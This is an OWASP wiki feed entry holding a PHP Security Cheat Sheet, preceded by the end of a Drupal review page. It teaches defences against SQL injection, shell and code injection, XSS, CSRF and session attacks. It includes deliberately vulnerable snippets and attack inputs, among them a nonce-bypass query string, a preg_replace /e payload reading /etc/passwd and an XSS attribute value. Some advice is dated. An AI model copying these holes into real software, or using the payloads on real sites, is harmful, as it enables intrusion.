Drupal runs on any environment that supports both a Web server capable of running PHP 5.2, Apache, IIS web servers with latest release and a database (such as MySQL 5.0 of higher, SQLite, PostgreSQL 8.3 or Microsoft SQL Server) to store content and settings. Because of that Drupal can be vulnerable to various security vulnerabilities to its environment that it runs on. Code Reviewer should have some knowledge into the configurations and versions of the component software used to run Drupal. &lt;br /&gt;
&lt;br /&gt;
Drupal Modules&lt;br /&gt;
* Drupal also uses a large array of modules components that can come from various sources. Code reviewer needs to understand what modules the application is being deployed to production with and have some access to a risk assessment of that module and what security vulnerabilities it might present to the organization that is deploying Drupal. &lt;br /&gt;
	&lt;br /&gt;
Drupal policy on security vulnerability&lt;br /&gt;
&lt;br /&gt;
*	Drupal's policy is to announce the nature of each security vulnerability once the fix is released. &lt;br /&gt;
*	Administrators of Drupal sites are automatically notified of these new releases via the Update Status module or via the Update Manager, depending on the release of Drupal. &lt;br /&gt;
*	Drupal maintains a security announcement mailing list, a history of all security advisories, a security team home page, and an RSS feed with the most recent security advisories. &lt;br /&gt;
*	Code Reviewers are strongly recommended to frequently visit with Drupal Security web page. https://www.drupal.org/security&lt;br /&gt;
	&lt;br /&gt;
&lt;br /&gt;
Keep Up to date on Releases.&lt;br /&gt;
*	Code Reviewer needs to understand what version of Drupal and its underlying components are being used.  Latest version of Drupal at the time of writing this book was Drupal 7.&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=196354</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=196354"/>
				<updated>2015-06-19T09:19:56Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: removed outdated message about PHP versions&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the language. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
PHP is a 'grown' language rather than deliberately engineered, making writing insecure PHP applications far too easy and common. If you want to use PHP securely, then you should be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In many other languages, and most high level languages that compete with PHP, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
If these native database APIs are used, error checking should be added at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate.&lt;br /&gt;
This is why accessing a database should always be done by using [http://php.net/manual/en/intro.pdo.php PHP Data Objects (PDO)] specified with the [http://php.net/manual/en/pdo.error-handling.php ERRMODE_WARNING or ERRMODE_EXCEPTION flags] unless there is a clearly compelling reason to use native drivers and careful error checking.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems. Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experienced PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. (In other words, the web server executes something instead of serving it). Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. (In other words, the web server serves a resource which should have been private or executable only). You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
* The URL routing mechanism is the same as the module system. This means it is often possible for attackers to use files as entry points which were not designed as such. This can open up vulnerabilities where authentication mechanisms are bypassed entirely - a simple refactoring that pulls code out into a separate file can open a vulnerability. This is made particularly easy in PHP because it has globally accessible request data ($_GET etc), so file-level code can be imperative code that operates on the request, rather than needing request handling code to be within function definitions.&lt;br /&gt;
&lt;br /&gt;
* The lack of a proper URL routing mechanism often leads to developers creating their own ad-hoc methods. These are often insecure and fail to apply appropriate authorization restrictions on different request handling functionality.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP regularly==&lt;br /&gt;
&lt;br /&gt;
Keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are &amp;lt;code&amp;gt;$_SERVER&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_GET&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_POST&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_REQUEST&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_FILES&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;$_COOKIE&amp;lt;/code&amp;gt;. Not all data in &amp;lt;code&amp;gt;$_SERVER&amp;lt;/code&amp;gt; can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with &amp;lt;code&amp;gt;HTTP_&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. All of this data is combined into one array, making it almost impossible to determine the source of the data. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc. Using prepared statements and bound parameters is a much better solution. PHP's [mysqli](http://php.net/mysqli) and [PDO](http://php.net/pdo) functionality includes this feature (see below).&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. Additionally, they cannot be used for things like table names or columns in `SELECT` statements. In these cases, you should use query builder that is provided by a framework, if available. If not, several packages are available for use via [http://getcomposer.org Composer] and [http://packagist.org Packagist] Do not roll your own.&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
Always be sure to evaluate the code of *any* ORM you use to validate how it handles the execution of the SQL it generates. Ensure it does not concatenate the values and instead uses prepared statements internally as well as following good security practices.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
